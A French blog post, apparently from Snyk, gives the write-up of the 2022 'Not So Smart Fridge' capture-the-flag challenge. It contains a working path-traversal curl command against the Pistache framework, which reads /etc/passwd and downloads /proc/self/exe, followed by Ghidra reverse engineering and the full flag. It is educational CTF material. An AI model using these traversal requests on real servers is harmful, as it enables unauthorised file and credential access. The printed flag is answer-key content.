Skip to main content

Compte rendu du CTF Fetch the Flag 2022 : Not So Smart Fridge

Écrit par

Antonio Gomes

feature ctf smart fridge

9 novembre 2022

0 minutes de lecture

Merci d’avoir participé à Fetch avec nous ! Félicitations aux milliers de joueurs qui nous ont rejoints pour le Fetch the Flag CTF. Et un immense merci aux Snykers qui ont conçu, testé et documenté les défis !

Ce défi du Fetch the Flag CTF commence par un accueil chaleureux, avec toutes les informations nécessaires sur notre tout nouveau Smart Fridge Ultra SFU-3000 ! Passionnant, non ?

Isaac Asimov avait prédit un jour : « Des repas complets ou semi-préparés pourront être conservés au réfrigérateur et prêts à être consommés. Les équipements de cuisine pourront préparer des “repas automatiques”, chauffer l’eau et faire du café. » Et nous y voilà : nous utilisons ce réfrigérateur pour commander des produits et même écouter de la musique grâce à son système audio. C’est génial !

Écran d’accueil de Smart Fridge v0.1 avec une navigation vers Accueil, Produits, Musique et Paramètres, et un texte décrivant la commande de produits et la lecture de musique.

Eh bien, c’était passionnant jusqu’à ce que je découvre que la fonctionnalité Music n’était pas disponible. Et la fonctionnalité Settings, qui permet de mettre à jour le micrologiciel du réfrigérateur, était défectueuse : impossible de passer de pistache/0.0.3.20220107 à la dernière version. Au moins, nous connaissons la version du micrologiciel, ce qui nous aidera à atteindre notre objectif : trouver le flag et résoudre ce défi !

Écran des paramètres système de Smart Fridge v0.1 indiquant l’état en ligne, le modèle SFU-3000 et la version du framework logiciel

Guide pas à pas

Après avoir accédé à la page web de notre Smart Fridge Ultra SFU-3000 —et avoir été déçus par ses capacités réelles — nous avons consulté Settings et découvert que le micrologiciel était pistache/0.0.3.20220107. Si vous ne connaissez pas pistache,il s’agit d’un framework HTTP et REST moderne pour C++, ce qui est très utile, car cela nous donne des indices sur le logiciel qui se cache derrière la page web de notre défi.

Avec ces informations, nous pouvons facilement utiliser la base de données de vulnérabilités Snyk Intel pour rechercher les problèmes de sécurité liés à pistache/0.0.3.20220107. En recherchant pistache, nous découvrons que Pistache est touché par une vulnérabilité de traversée de répertoires, qui affecte la version utilisée par le micrologiciel de notre réfrigérateur — 0.0.3.20220107. C’est parfait : nous pouvons tenter de l’exploiter à l’aide de la commande suggérée ci-dessous dans le PoC de Snyk.

Page Snyk Vulnerability Database présentant une vulnérabilité de traversée de chemin de gravité moyenne dans le package pistacheio/pistache.

En exécutant curl --path-as-is, curl ne supprimera pas les séquences /../ du chemin complet. Cela nous permettra également d’obtenir les résultats ci-dessous, qui prouvent que nous avons réussi à récupérer la liste des utilisateurs ayant accès au système et que nous pouvons exploiter la vulnérabilité de traversée de répertoires. Nous avons aussi repéré un dossier nommé doc.

root:x:0:0:root:/root:/bin/bash
daemon:×:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:×:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp::7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:×:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:×:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/bin/nologin
backup::34:34:backup:/var/backups:/usr/sin/nologin
list:x:38:38:MailingListManager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:×:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sin/nologin
nobody:×:65534:65534:nobody:/nonexistent:/usr/sin/nologin
_apt:×:100:65534::/nonexistent:/usr/sbin/nologin

En accédant au chemin du dossier doc, nous obtenons un document d’API Swagger qui nous permet d’identifier les points de terminaison disponibles dans notre application web (par exemple, v1/system/flag/{flag}). À ce stade, nous savons déjà que nous avons affaire à une application web qui utilise pistache sous forme de binaire C++.

Interface de documentation de l’API Swagger présentant un point de terminaison /api.json et des routes GET dépliables pour les données système et produit

Et maintenant ? Nous allons exploiter proc, sous Linux. Plus précisément, /proc/self/exe, qui pointe littéralement vers le processus en cours d’exécution, ici le binaire de l’application web Pistache. Pour cela, nous exécutons la commande suivante :

curl --path-as-is "http://not-so-smart-fridge.c.ctf-snyk.io:8000/doc/../../proc/self/exe" --output exe

Nous pourrons ainsi télécharger le binaire Pistache. Nous devrons procéder à sa rétro-ingénierie pour trouver le flag. Commençons par télécharger un outil de rétro-ingénierie logicielle. Ici, j’utiliserai Ghidra (également disponible pour les utilisateurs de macOS via brew).

Avec Ghidra, je vais créer un nouveau projet, dans lequel j’importerai le binaire .exe téléchargé précédemment.

Boîte de dialogue d’importation de Ghidra montrant l’ajout d’un exécutable ELF nommé « exe » au projet « ctf-write-up »

Nous voici enfin à la partie passionnante du défi : nous allons découvrir à quoi ressemble ce flag ! Dans Ghidra, nous allons filtrer les résultats avec « flag ». Nous verrons alors qu’il existe une méthode nommée checkFlag, dont le contenu est visible dans l’image ci-dessous, dans la fenêtre Decompile: checkFlag - (exe).

Interface de rétro-ingénierie de Ghidra affichant du code assembleur, du code C++ décompilé, des arbres de programme et une fonction nommée checkFlag.

En examinant la fenêtre de décompilation, nous pouvons voir que le flag doit comporter 70 caractères :

if lVar4 == 0x46. La condition définie dans le code d’origine indique que lVar4 contient la longueur du flag fourni en entrée, et que 0x46 correspond à 70 en décimal.

Gros plan sur du code source rétroconçu et mis en couleur, montrant des affectations de variables et des valeurs hexadécimales.

Si la condition ci-dessus est satisfaite (length == 70), nous verrons qu’une autre méthode, nommée checkIndexes, est appelée.

Capture d’écran rapprochée de code informatique montrant un appel à la fonction checkIndexes en surbrillance et un commentaire « try ».

Comme le montrent les images ci-dessus et ci-dessous, checkIndexes attend une chaîne de caractères pour le flag, un vecteur contenant plusieurs index et un caractère — '7' dans l’image ci-dessus.

Fenêtre du décompilateur affichant le code de la fonction checkIndexes, avec l’itération sur un vecteur et la logique de comparaison des caractères.

Qu’est-ce que cela signifie ? À chaque appel de checkIndexes, un caractère est vérifié à chaque position d’index n, afin de déterminer si la chaîne du flag est valide. Il faut appeler toutes les méthodes checkIndexes : si elles réussissent toutes, cela signifie que nous avons trouvé le flag. Pour le découvrir, nous pouvons examiner le fichier désassemblé, convertir en décimal chaque variable local_* en hexadécimal et déterminer la position

Code C++ décompilé montrant des affectations de variables locales, l’initialisation d’un vecteur et un appel à la fonction checkIndexes.
0xd = 13, 0x16 = 22, 0x1d = 29, x27 = 39, 0x28 = 40, 0x2d = 45, 0x3b = 59

{13, 22, 29, 39,40, 45, 59} correspond à la liste des index où le caractère `5` apparaît dans le flag. Nous pouvons maintenant reconstituer le flag :

SNYK{6af6761359c4b442f534071351518abb7155c48d59df4bb80188ea57ed71eecc}

Une autre façon d’identifier tous les index de chaque vecteur alloué consiste à utiliser un script (consultez le code). Pour ce faire, nous allons exporter le programme au format C/C++, supprimer tout le reste et ne tenir compte que de la checkFlag méthode. Nous ajouterons un script qui l’analysera, convertira les variables local_* de l’hexadécimal au décimal et trouvera tous les index associés à chaque caractère jusqu’à reconstituer le flag.

Visual Studio Code affichant un script Python, du code source en C et la sortie du terminal avec une chaîne contenant le flag récupéré

Plus malin qu’un réfrigérateur

Dans ce défi, nous avons appris à utiliser Snyk pour repérer une vulnérabilité de traversée de répertoires dans une application web C++, accéder au binaire du processus en cours d’exécution et le télécharger, procéder à sa rétro-ingénierie avec Ghidra, puis trouver le flag en analysant le binaire décompilé. Amusant !

Voilà, c’est tout ! J’espère que vous avez apprécié nos défis. Merci d’avoir participé à notre CTF Snyk 2022 ! Vous voulez découvrir comment nous avons trouvé tous les autres flags ? Consultez notre page solutions Fetch the Flag pour découvrir notre méthode.

Lire la suite

illustration hero ai
Blog

PHP corrige deux vulnérabilités RCE critiques exploitables sans authentification (CVE-2026-109618, CVE-2026-109619) : mettez à jour dès maintenant

Deux vulnérabilités critiques dans le cycle de traitement des requêtes de PHP peuvent permettre l’exécution de code à distance sans authentification. Passez à une version corrigée ou installez un correctif rétroporté par votre fournisseur pour les versions antérieures.

blog feature ai lilac
Blog

Transformez votre backlog de vulnérabilités en pull requests grâce à la remédiation agentique

Evo Remediation Agent est désormais disponible en aperçu ouvert et apporte la résolution automatisée des dépendances à Evo Agentic AppSec. Les équipes AppSec peuvent désormais lancer des campagnes de remédiation continues

AI Background min crop
Blog

L’IA fait surgir tous les risques que vous avez acceptés : sept enseignements du panel de sécurité de l’IA sans filtre

L’IA rend les attaques moins coûteuses et plus rapides, exposant des risques déjà présents dans les organisations. Quatre responsables de la sécurité expliquent pourquoi une défense à la vitesse des machines et une remédiation accélérée sont désormais indispensables.